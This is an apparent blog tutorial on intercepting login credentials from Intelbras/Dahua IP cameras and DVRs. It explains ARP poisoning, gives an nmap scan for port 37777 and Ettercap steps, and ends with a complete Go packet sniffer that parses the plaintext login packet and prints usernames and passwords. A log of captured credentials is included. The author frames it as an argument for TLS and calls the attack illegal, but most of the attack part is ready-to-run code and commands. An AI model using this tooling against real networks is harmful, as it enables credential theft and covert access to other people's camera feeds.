Dahua / Intelbras MitM Attack

How to perform a very simple MitM Attack on a Intelbras/Dahua IP Cameras / DVR. This uses Ettercap to do an ARP Poison and a simple GoLang Script to fetch the username/password.

Intelbras Camera

Disclaimer: This type of attack is basically illegal anywhere in the world. My intentions with this tutorial is to demonstrate why you should ALWAYS use a TLS connection for ANYTHING. Use for you own risk.

Requirements

Attack Idea

The main idea between the is the concept of MitM (Man-in-the-Middle) using ARP Poisoning. The idea is to inform all network devices that you have the IP that belongs to the DVR, and then receive all the packets that were intended originally to the DVR. That way, when someone logs in, you will also receive the Login Packet.

Ideal scenario: We have a direct communication between the DVR and the phone application:

Normal Communication between Smartphone and CameraNormal Communication between Smartphone and Camera

Poisoning the ARP Table, we can do two types of attack: One-way which we only receive a copy of the packets in a “passive” way:

Passive Packet Reception (One-way)Passive Packet Reception (One-way)

Or in Both-ways in which we act as a full MitM and receive ALL the packets and forward to the target:

Intercept and resend attack (Both-ways)Intercept and resend attack (Both-ways)

To know how that’s possible we need a bit of knowledge of how computers discover each other and communicate over a IP Network.

Ethernet Communication

The main protocol used nowadays in conventional computer networks is called *Ethernet. *This protocol works in the Link layer of a network. That means it works directly over the device that connects the computers (for example your network card). That’s why we usually call a Ethernet Network. There are other types of networks, but in general, nowadays everything is Ethernet based (even if its a virtual Ethernet not a hardware one)

So let’s see how the window of data (set of data that composes a single minimum transmission) of a Ethernet Network:

Ethernet WindowEthernet Window

That’s an overview of how a Ethernet communcation works: Your device has a MAC Address and the device you want also does. If you want to communication with someone you need to send the target mac address as well. Imagine that all cables / routers / switches are the courier service. All courier employees need to know where the package will go to decide what is the best route. And you that receives the package will also want to know where the package came from (although the sender fields can come with basically anything, right?)

Now take a deep look: Where is the IP Address on all of that? Well, exactly inside the Payload field. So, how you will send a packet using an IP if you don’t know the destination MAC? That’s where ARP gets in use!

Discovering MAC Addresses using ARP

The ARP Protocol was created to discover MAC Addresses over the network. It literally means Address Resolution Protocol. To understand how it works, there is one more detail to understand about Ethernet: The Broadcast Communication.

The concept of broadcast is simple. If the destination address is FF:FF:FF:FF:FF:FF, the packet will be received by all devices in the network. It means that the addressFF:FF:FF:FF:FF:FF is a special address where you say to the courier: send a copy of this letter to everyone — Of course that the real courier would just laugh at you

Knowing this let’s do a mental exercise: Assuming everyone knows its own IP (after all, you usually choose yours), we can simple send a letter to FF:FF:FF:FF:FF:FFwith the following message: Who has the IP XXX.XXX.XXX.XXX? Signed: me, in the address 01:02:03:04:05:06and just wait for a response with the following message: I have the IP XXX.XXX.XXX.XXX. Signed: Me, in the address 06:05:04:03:02:01.

Looks simple right? Well, that’s exactly what ARP does. To help everyone, you will also send your IP Address when asking one (then the destination also knows what is your IP and MAC Address). Let’s see how an ARP Message is composed:

ARP Request / ReplyARP Request / Reply

The flow works more or less like this: You create a ARP Packet with operation Request, filling all fields that you know and Target Protocol Address with the IP you want to find (for example 1.1.1.1) and send it into the network to MAC address FF:FF:FF:FF:FF:FF. The computer that has the IP 1.1.1.1, will answer to you with a ARP packet Replyand Target Hardware Address filled with its mac address. But instead sending toFF:FF:FF:FF:FF:FF it will send directly to you. And if you don’t receive any response after a while, it means no one has that IP (or no one want’s to talk about it).

After that ARP Packet Exchange, both sides know their counter-part address. Then both parts store that information in a memory table called ARP Cache Table, so when it needs to transmit some packet to the IP it doesn’t need to ask again. After that, when your computer wants to send a message to IP 1.1.1.1, it will check in the ARP table to know which MAC has the IP 1.1.1.1 and then build the ethernet data.

ARP Poison

The ARP Poison is very simple. Everyone in the network receives the ARP Request, so why not when you receive the ARP packet just store in the local table? Then you don’t need to ask when needed. Using that information we can forge a ARP Reply packet saying that we has the IP 1.1.1.1, and then let all the network know that they should send the packets to us. Simple right?

That’s technically simple, but also simple to detect. After all, you will also need to answer with a forged packet everytime someone asks for that IP, and then everyone will receive two ARP Replies (one from you, and one from the real target).

The attack itself is possible because nothing in IP specification says that you can’t have two networks with the same IP in the same network. Not only that, devices will send packets to ALL devices listed in the ARP Table that has the same IP (that’s so beautiful, right?)

Finding the Intelbras/Dahua DVR/Camera in the network

Our attack is simple. We find our DVR/Camera IPs in the network and act as them. But first we need to find them. For that we can use a peculiar information of Dahua/Intelbras Devices: They always talk in port 37777 using TCP Protocol. Why is that important? It’s because that port is not very common, so if it is open in a device, we can assume its a DVR or Camera. To scan we can use our great friend nmap.

Let’s use my network as an example: 10.10.5.X ( my mask is 255.255.255.0 or /24)

sudo nmap -sT 10.10.5.0/24 -p 37777 --open

Executing in my network, I have the following result:

Starting Nmap 7.60 ( https://nmap.org ) at 2019-08-02 18:01 -03
Nmap scan report for 10.10.5.107
Host is up (-0.085s latency).

PORT      STATE SERVICE
37777/tcp open  unknown
MAC Address: 58:10:8C:3B:38:35 (Intelbras)

Nmap done: 256 IP addresses (28 hosts up) scanned in 10.29 seconds

Bingo! We found a Intelbras camera in IP 10.10.5.107. We have our target! Now we just need to do the ARP Poisoning.

Poisoning the ARP using Ettercap

In near future the Go script will also do the ARP Poison. Now I will show how to do it using Ettercap. Ettercap is an excelent application to do several types of attack MitM by ARP, and has some presets to monitor for username/passwords from unencrypted POP/IMAP/SMTP (you would be suprise how easy is to get one). Today we will only use to poison the arp tables in the network and get the packets.

Let’s open the Ettercap with it’s Graphical Interface:

sudo ettercap -G

To start the process, select the option in menu Sniff -> Unified Sniffing. Select your network interface (in my case wlp3s0, my wireless adapter) and click OK

After that, we need to add our target 10.10.5.107 by going toHosts -> Hosts List and scanning for hosts using the option Hosts -> Scan for Hosts. That should list all available IPs in your network

In the list we can see our target 10.10.5.107. Then we should clickAdd to Target 1 to inform Ettercap that we want to poison that IP. After that we can start the process by selecting the menu Mitm -> ARP Poisoning e and the optionSniff Remote Connections.

After that, you computer should be already receiving the packets from the target.

Receiving the Username / Password

The golang script nowiseeyou.go,(check the end of this page) will analyze any packet your machine receives in port 37777 waiting for a packet that looks like a login packet. To run just download all dependencies using go get and then run:

sudo go run nowiseeyou.go

After that you should see a message where the program is waiting for packets to arrive:

2019-08-02T18:18:12-03:00|I| Dahua | Opening wlp3s0 in promisc mode
2019-08-02T18:18:12-03:00|I| Dahua | Waiting

Now you can open the Intelbras / Dahua application in the phone and if everything goes right, you should see the username/password:

2019-08-02T18:18:12-03:00|I| Dahua | Opening wlp3s0 in promisc mode
2019-08-02T18:18:12-03:00|I| Dahua | Waiting
2019-08-02T18:19:01-03:00|W| Dahua | GOTCHA! Username: admin - Password: admin
2019-08-02T18:19:01-03:00|W| Dahua | GOTCHA! Username: admin - Password: admin
2019-08-02T18:19:02-03:00|W| Dahua | Got login, and stream data. Closing it...

That’s only possible because Dahua/Intelbras Cameras and DVRs communicate in plain text without any type of encryption. Because of that anyone in the same network as you can (specially if it has access to stuff like the Management Port of switches or sysadmins) can read not only the username and password but also the H.264 Video stream that flows in the network.

I hope that this will show you why EVERYTHING should ALWAYS use TLS for communication. Doesn’t matter if it’s just a small IoT device or a Camera System.

package main

import (
    "bytes"
    "encoding/binary"
    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
    "github.com/quan-to/slog"
)

var log = slog.Scope("Dahua")

var networkInterface = "wlp3s0"

type LoginPacket struct {
    PacketType uint16  // 0x00A0 -- Hardcoded on Dahua
    Unk0       uint16  // 0x6000 -- Hardcoded on Dahua
    Unk1       uint32  // 0x00000000
    Username   [8]byte // admin
    Password   [8]byte // admin
    Unk2       uint32  // 0x00030204
    Unk3       uint32  // 0xAAA10100
}

func main() {

    log.Info("Opening %s in promisc mode", networkInterface)
    handle, err := pcap.OpenLive(networkInterface, 1600, true, pcap.BlockForever)
    if err != nil {
        log.Fatal(err)
    }

    err = handle.SetBPFFilter("tcp and port 37777")

    if err != nil {
        log.Fatal("Cannot set filter: %s", err)
    }

    src := gopacket.NewPacketSource(handle, handle.LinkType())

    log.Info("Waiting")

    gotLogin := false

    for packet := range src.Packets() {
        t := packet.TransportLayer()
        if t == nil {
            continue
        }
        payload := t.LayerPayload()

        if len(payload) == 0 {
            continue
        }

        ptype := binary.LittleEndian.Uint16(payload[:2])

        if ptype == 0xA0 { // Login Packet
            l := &LoginPacket{}
            err = binary.Read(bytes.NewReader(payload), binary.LittleEndian, l)
            if err != nil {
                log.Error("Error parsing login packet: %s", err)
                continue
            }
            gotLogin = true
            log.Warn("GOTCHA! Username: %s - Password: %s", l.Username, l.Password)
        } else if ptype == 0xBC && gotLogin {
            log.Warn("Got login, and stream data. Closing it...")
            break
        }
    }
}